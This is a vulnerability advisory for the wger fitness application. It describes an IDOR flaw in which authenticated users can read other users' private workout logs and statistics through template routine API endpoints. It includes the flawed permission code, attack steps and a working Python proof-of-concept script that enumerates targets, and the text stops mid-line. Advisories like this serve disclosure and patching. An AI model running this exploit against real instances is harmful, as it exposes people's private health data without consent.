wger Vulnerable to IDOR: Authenticated Users Can Read Any User's Private Workout Session Data via Template Routine API

Root Cause

File: wger/manager/api/permissions.py, lines 30–41

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    if obj.is_template:                                  # ← any template is readable
        return request.method in permissions.SAFE_METHODS  # by any authenticated user

    return False

File: wger/manager/api/views.py, lines 173–199

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    out = LogDisplaySerializer(
        self.get_object().logs_display(),   # ← returns OWNER's logs, not request.user's
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    out = LogStatsDataSerializer(
        self.get_object().calculate_log_statistics()  # ← owner's statistics
    ).data
    return Response(out)

self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.

The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.

Impact

An authenticated attacker can:

1. Enumerate all public template routines across all users: GET /api/v2/routine/?is_template=true&is_public=true

2. Read private workout session notes (freeform text entered by the victim after each workout session)

3. Read full workout history including exercise names, weights, repetitions, and dates

4. Read training statistics including volume, intensity, and set counts per muscle group and mesocycle

This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.

Proof of Concept

Scenario

There are two users in the system:

• alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.

• bob : a second registered user who has never interacted with alice's account.

The attack:

Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.

Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.

Step-by-step

1. Bob registers a free account on the wger instance and obtains a JWT access token via POST /api/v2/token.

2. Bob calls GET /api/v2/routine/?is_template=true&is_public=true this lists all public template routines from all users across the platform, including their IDs.

3. For each routine ID returned, Bob calls GET /api/v2/routine/{id}/logs/ this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps.

4. Bob calls GET /api/v2/routine/{id}/stats/ to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.

No special permissions are needed. A fresh account (1-minute-old) can exploit this.

Python PoC

#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target:   GET /api/v2/routine/{id}/logs/
          GET /api/v2/routine/{id}/stats/
"""

import requests
import json

BASE_URL = "http://TARGET_IP"  # replace with target


def get_token(username, password):
    r = requests.post(
        f"{BASE_URL}/api/v2/token",
        json={"username": username, "password": password},
    )
    r.raise_for_status()
    return r.json()["access"]


def exploit(attacker_token):
    headers = {"Authorization": f"Bearer {attacker_token}"}

    # Step 1: Enumerate all public template routines (from ALL users)
    print("[*] Step 1: Enumerating public template routines...")
    r = requests.get(
        f"{BASE_URL}/api/v2/routine/",
        params={"is_template": "true", "is_public": "true"},
        headers=headers,
    )
    routines = r.json().get("results", [])
    print(f"[+] Found {len(routines)} public template routine(s)\n")

    for routine in routines:
        routine_id = routine["id"]
        routine_name = routine["name"]
        print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")

        # Step 2: Fetch the OWNER's workout session logs (IDOR)
        logs_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
            headers=headers,
        )

        if logs_r.status_code == 200:
            sessions = logs_r.json()
            print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
            for session in sessions:
                s = session.get("session", {})
                print(f"    Date:       {s.get('date')}")
                print(f"    Notes:      {s.get('notes')}")   # ← private user notes
                print(f"    Impression: {s.get('impression')}")
                print(f"    Logs:       {len(session.get('logs', []))} exercise entries")
                print()

        # Step 3: Fetch the OWNER's training statistics (IDOR)
        stats_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
            headers=headers,
        )

        if stats_r.status_code == 200:
            stats = stats_r.json()
            print(f"[+] Training statistics for routine #{routine_id}:")
            volume = stats.get("volume", {}).get("mesocycle", {})
            print(f"    Total volume:      {volume.get('total')} kg")
            print(f"    Upper bo